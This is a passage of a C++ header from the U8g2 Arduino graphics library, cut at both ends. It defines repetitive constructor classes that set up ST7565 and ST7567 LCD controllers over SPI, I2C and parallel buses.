U8G2_ST7565_EA_DOGM132_1_8080 : public U8G2 {\n  public: U8G2_ST7565_EA_DOGM132_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ea_dogm132_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_EA_DOGM132_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_EA_DOGM132_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ea_dogm132_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_EA_DOGM132_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_EA_DOGM132_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ea_dogm132_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_EA_DOGM132_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_EA_DOGM132_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ea_dogm132_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_EA_DOGM132_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_EA_DOGM132_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ea_dogm132_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7565_EA_DOGM132_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_EA_DOGM132_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ea_dogm132_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7565_EA_DOGM132_2_6800 : public U8G2 {\n  public: U8G2_ST7565_EA_DOGM132_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ea_dogm132_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_EA_DOGM132_2_8080 : public U8G2 {\n  public: U8G2_ST7565_EA_DOGM132_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ea_dogm132_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_EA_DOGM132_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_EA_DOGM132_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ea_dogm132_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_EA_DOGM132_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_EA_DOGM132_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ea_dogm132_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_EA_DOGM132_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_EA_DOGM132_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ea_dogm132_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_EA_DOGM132_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_EA_DOGM132_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ea_dogm132_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7565_EA_DOGM132_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_EA_DOGM132_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ea_dogm132_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7565_EA_DOGM132_F_6800 : public U8G2 {\n  public: U8G2_ST7565_EA_DOGM132_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ea_dogm132_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_EA_DOGM132_F_8080 : public U8G2 {\n  public: U8G2_ST7565_EA_DOGM132_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ea_dogm132_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_PI_132X64_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7567_PI_132X64_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_pi_132x64_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_PI_132X64_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_PI_132X64_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_pi_132x64_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_PI_132X64_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_PI_132X64_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_pi_132x64_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_PI_132X64_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7567_PI_132X64_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_pi_132x64_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7567_PI_132X64_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_PI_132X64_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_pi_132x64_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7567_PI_132X64_1_6800 : public U8G2 {\n  public: U8G2_ST7567_PI_132X64_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_pi_132x64_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_PI_132X64_1_8080 : public U8G2 {\n  public: U8G2_ST7567_PI_132X64_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_pi_132x64_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_PI_132X64_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7567_PI_132X64_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_pi_132x64_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_PI_132X64_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_PI_132X64_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_pi_132x64_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_PI_132X64_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_PI_132X64_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_pi_132x64_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_PI_132X64_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7567_PI_132X64_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_pi_132x64_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7567_PI_132X64_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_PI_132X64_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_pi_132x64_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7567_PI_132X64_2_6800 : public U8G2 {\n  public: U8G2_ST7567_PI_132X64_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_pi_132x64_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_PI_132X64_2_8080 : public U8G2 {\n  public: U8G2_ST7567_PI_132X64_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_pi_132x64_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_PI_132X64_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7567_PI_132X64_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_pi_132x64_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_PI_132X64_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_PI_132X64_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_pi_132x64_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_PI_132X64_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_PI_132X64_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_pi_132x64_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_PI_132X64_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7567_PI_132X64_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_pi_132x64_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7567_PI_132X64_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_PI_132X64_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_pi_132x64_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7567_PI_132X64_F_6800 : public U8G2 {\n  public: U8G2_ST7567_PI_132X64_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_pi_132x64_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_PI_132X64_F_8080 : public U8G2 {\n  public: U8G2_ST7567_PI_132X64_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_pi_132x64_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_PI_132X64_1_SW_I2C : public U8G2 {\n  public: U8G2_ST7567_PI_132X64_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_pi_132x64_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST7567_PI_132X64_1_HW_I2C : public U8G2 {\n  public: U8G2_ST7567_PI_132X64_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_pi_132x64_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST7567_PI_132X64_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST7567_PI_132X64_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_pi_132x64_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST7567_PI_132X64_2_SW_I2C : public U8G2 {\n  public: U8G2_ST7567_PI_132X64_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_pi_132x64_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST7567_PI_132X64_2_HW_I2C : public U8G2 {\n  public: U8G2_ST7567_PI_132X64_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_pi_132x64_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST7567_PI_132X64_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST7567_PI_132X64_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_pi_132x64_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST7567_PI_132X64_F_SW_I2C : public U8G2 {\n  public: U8G2_ST7567_PI_132X64_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_pi_132x64_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST7567_PI_132X64_F_HW_I2C : public U8G2 {\n  public: U8G2_ST7567_PI_132X64_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_pi_132x64_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST7567_PI_132X64_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST7567_PI_132X64_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_pi_132x64_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST7567_JLX12864_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7567_JLX12864_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_jlx12864_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_JLX12864_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_JLX12864_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_jlx12864_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_JLX12864_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_JLX12864_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_jlx12864_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_JLX12864_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7567_JLX12864_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_jlx12864_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7567_JLX12864_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_JLX12864_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_jlx12864_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7567_JLX12864_1_6800 : public U8G2 {\n  public: U8G2_ST7567_JLX12864_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_jlx12864_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_JLX12864_1_8080 : public U8G2 {\n  public: U8G2_ST7567_JLX12864_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_jlx12864_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_enh_dg128064_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_enh_dg128064_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), 